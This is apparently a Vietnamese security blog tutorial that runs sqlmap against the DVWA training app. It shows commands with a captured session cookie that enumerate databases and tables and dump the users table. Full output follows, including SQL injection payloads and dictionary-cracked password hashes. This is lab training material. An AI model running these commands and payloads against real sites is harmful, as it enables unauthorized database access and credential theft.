Skip to content
+84 396306317
support@[Link]
Mon - Fri: 9:00 - 18:30
Facebook-f Twitter Google-plus-g Instagram Youtube
Home
Document
News
About Us
Bước 1: Bạn sử dụng phần mềm Burpsuite để
lấy “PHPSESSID=dftriir2edqljo922cda272bv6; security=low”
Obtain Database User For DVWA
sqlmap -u "[Link]
id=1&Submit=Submit#" --
cookie="PHPSESSID=dftriir2edqljo922cda272bv6;
security=low" -b --current-db --current-user
Obtain a list of all databases
┌─[huyqa@huyqa-pentest]─[~]
└──╼ $sqlmap -u
"[Link]
id=1&Submit=Submit#" --
cookie="PHPSESSID=dftriir2edqljo922cda272bv6;
security=low" --dbs
Obtain “dvwa” tables and contents
┌─[huyqa@huyqa-pentest]─[~]
└──╼ $sqlmap -u “[Link]
id=1&Submit=Submit#” –cookie=”PHPSESSID=dftriir2edqljo922cda272bv6;
security=low” -D dvwa –tables
Obtain columns for table [Link]
┌─[huyqa@huyqa-pentest]─[~]
└──╼ $sqlmap -u
"[Link]
id=1&Submit=Submit#" --
cookie="PHPSESSID=dftriir2edqljo922cda272bv6;
security=low" -D dvwa -T users --columns
Obtain Users and their Passwords from table [Link]
(Part 1)
sqlmap -u "[Link]
id=1&Submit=Submit#" --
cookie="PHPSESSID=dftriir2edqljo922cda272bv6;
security=low" -D dvwa -T users -C user,password --dump
___
__H__
___ ___[']_____ ___ ___ {1.6.4#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| [Link]
[!] legal disclaimer: Usage of sqlmap for attacking
targets without prior mutual consent is illegal. It is
the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or
damage caused by this program
[*] starting @ 16:36:35 /2022-07-29/
[16:36:35] [INFO] resuming back-end DBMS 'mysql'
[16:36:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from
stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING
clause (NOT - MySQL comment)
Payload: id=1' OR NOT 5962=5962#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 9066 FROM(SELECT
COUNT(*),CONCAT(0x7178787a71,(SELECT
(ELT(9066=9066,1))),0x71626a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
IquV&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query
SLEEP)
Payload: id=1' AND (SELECT 6524 FROM
(SELECT(SLEEP(5)))JZKR)-- Qbtm&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT
NULL,CONCAT(0x7178787a71,0x724555724f62536148744948577342
6c467976616e674b5971584d67416f49666a674856436e4959,0x7162
6a7171)#&Submit=Submit
---
[16:36:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[16:36:36] [INFO] fetching entries of column(s)
'`user`,password' for table 'users' in database 'dvwa'
[16:36:36] [WARNING] reflective value(s) found and
filtering out
[16:36:36] [INFO] recognized possible password hashes in
column 'password'
do you want to store hashes to a temporary file for
eventual further processing with other tools [y/N] y
[16:36:38] [INFO] writing hashes to a temporary file
'/tmp/sqlmapq8m04nmh377791/[Link]'
do you want to crack them via a dictionary-based attack?
[Y/n/q] y
[16:36:41] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file
'/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> /usr/share/sqlmap/data/txt/wordlist.tx_
[16:37:52] [INFO] using default dictionary
do you want to use common password suffixes? (slow!)
[y/N] y
[16:37:54] [INFO] starting dictionary-based cracking
(md5_generic_passwd)
[16:37:54] [INFO] starting 4 processes
[16:37:58] [INFO] cracked password 'abc123' for hash
'e99a18c428cb38d5f260853678922e03'
[16:38:00] [INFO] cracked password 'charley' for hash
'8d3533d75ae2c3966d7e0d4fcc69216b'
[16:38:04] [INFO] cracked password 'letmein' for hash
'0d107d09f5bbe40cade3de5c71e9e9b7'
[16:38:07] [INFO] cracked password 'password' for hash
'5f4dcc3b5aa765d61d8327deb882cf99'
[16:38:13] [INFO] using suffix '1'
[16:38:40] [INFO] using suffix '123'
[16:38:45] [INFO] cracked password 'abc123' for hash
'e99a18c428cb38d5f260853678922e03'
[16:39:03] [INFO] using suffix '2'
[16:39:25] [INFO] using suffix '12'
[16:39:44] [INFO] using suffix '3'
[16:40:07] [INFO] using suffix '13'
[16:40:30] [INFO] using suffix '7'
[16:40:56] [INFO] using suffix '11'
[16:41:21] [INFO] using suffix '5'
[16:41:44] [INFO] using suffix '22'
[16:42:04] [INFO] using suffix '23'
[16:42:23] [INFO] using suffix '01'
[16:42:44] [INFO] using suffix '4'
[16:43:08] [INFO] using suffix '07'
[16:43:35] [INFO] using suffix '21'
[16:43:56] [INFO] using suffix '14'
[16:44:25] [INFO] using suffix '10'
[16:44:49] [INFO] using suffix '06'
[16:45:13] [INFO] using suffix '08'
[16:45:35] [INFO] using suffix '8'
[16:46:01] [INFO] using suffix '15'
[16:46:40] [INFO] using suffix '69'
[16:47:12] [INFO] using suffix '16'
[16:47:35] [INFO] using suffix '6'
[16:48:01] [INFO] using suffix '18'
[16:48:29] [INFO] using suffix '!'
[16:48:51] [INFO] using suffix '.'
[16:49:11] [INFO] using suffix '*'
[16:49:34] [INFO] using suffix '!!'
[16:49:56] [INFO] using suffix '?'
[16:50:18] [INFO] using suffix ';'
[16:50:38] [INFO] using suffix '..'
[16:50:59] [INFO] using suffix '!!!'
[16:51:21] [INFO] using suffix ', '
[16:51:44] [INFO] using suffix '@'
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
[16:52:10] [INFO] table '[Link]' dumped to CSV file
'/home/huyqa/.local/share/sqlmap/output/[Link]/dum
p/dvwa/[Link]'
[16:52:10] [INFO] fetched data logged to text files under
'/home/huyqa/.local/share/sqlmap/output/[Link]'
[*] ending @ 16:52:10 /2022-07-29/
Post Views: 4
Share:
Facebook
Twitter
Pinterest
LinkedIn
PrevPreviousBurpsuite – SQL INJECTION
On Key
Related Posts
Burpsuite – Sql Injection – sqlmap
Bước 1: Bạn sử dụng phần mềm Burpsuite để lấy
“PHPSESSID=dftriir2edqljo922cda272bv6; security=low” Obtain Database User For DVWA
sqlmap -u “[Link] –
cookie=”PHPSESSID=dftriir2edqljo922cda272bv6; security=low” -b –current-db –current-
user
Burpsuite – SQL INJECTION
SQL injection SQL Injection là một kỹ thuật lợi dụng lổ hỏng về câu truy vấn của các ứng
dụng. Được thực hiện bằng cách
Protected: Tìm hiểu bash script (Part 2)
There is no excerpt because this is a protected post.
Protected: Tìm hiểu về bash script – Part 1
There is no excerpt because this is a protected post.
Protected: Script cài đặt docker docker-compose trên Ubuntu, CentOS
There is no excerpt because this is a protected post.